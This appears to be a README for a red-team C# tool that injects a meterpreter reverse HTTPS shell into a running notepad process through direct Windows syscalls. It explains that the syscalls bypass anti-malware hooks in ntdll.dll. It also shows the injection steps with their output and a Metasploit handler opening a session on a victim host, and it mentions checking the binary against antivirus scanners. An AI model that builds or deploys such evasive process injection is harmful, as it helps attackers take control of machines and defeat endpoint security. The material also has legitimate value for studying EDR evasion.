An example of using Windows System Calls (syscalls) in C# to inject a meterpreter shell.
This code is based on the excellent Red Team Tactics: Utilizing Syscalls in C# primer by Jack Halon, explaining the use of 'System Calls in windows malware for post-exploitation activities, as well as for the bypassing of EDR or Endpoint Detection and Response'. I recommend reading it, it's not an easy subject, but well worth the effort!
Some anti-malware products, such as Bit Defender inject user mode hooks in ntdll.dll when new processes are created. This means that whenever APIs such as NtCreateThreadEx are called in ntdll.dll Bit Defender intercepts the call, does its scanning, then returns execution to the thread (or more likely if there is a meterpreter payload, spoils the fun and kills the process).
If we use syscalls directly we can avoid the hooks, and effectively bypassing the anti-malware scan.
I updated the code to include dynamic syscall resolution, based upon the article Dynamically resolving syscalls in C# by FGSec.
If you just want to dig in to the code, go here:
Native.cs - Native imports/structs from Win32 APIS
Syscalls.cs - The sycall implementation.
Program.cs - The main routine.
Syscall codes can and do change between operating systems. You must change the the codes in the Syscalls class to match those of your target. Dynamically resolving syscalls fixes this.
Remember, the code looks for an instance of notepad to inject into, it is trivial to change this, or even spawn a surregate process to inject in to.
Execution of the code is shown below:
[+] Base Address of ntdll is 0x7FFE23450000
[+] Target PID is 40140
[+] Syscall NtOpenProcess on 40140
[+] Return, NTSTATUS=Success, hProcess=0x2F4
[+] Syscall NtAllocateVirtualMemory on 0x2F4
[+] Return, NTSTATUS=Success, baseAddress=0x1D2A9120000
[+] Syscall NtWriteVirtualMemory to 0x1D2A9120000
[+] Return, NTSTATUS=Success, bytesWritten=0x736
[+] Syscall NtProtectVirtualMemory on 0x1D2A9120000
[+] Return, NTSTATUS=Success
[+] Syscall NtCreateThreadEx to 0x1D2A9120000
[+] Return, NTSTATUS=Success, hThread=0x896
And the meterpreter shell:
msf6 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://192.168.1.228:443
[*] https://192.168.1.228:443 handling request from 192.168.1.142; (UUID: bprg2hzm) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.1.228:443 -> 192.168.1.142:58551) at 2021-10-05 12:53:47 +0100
The binary was scanned using antiscan.me on 05/10/2021.
Tested with windows/x64/meterpreter/reverse_https on Windows 10 Pro (build 10.0.19042) with Defender.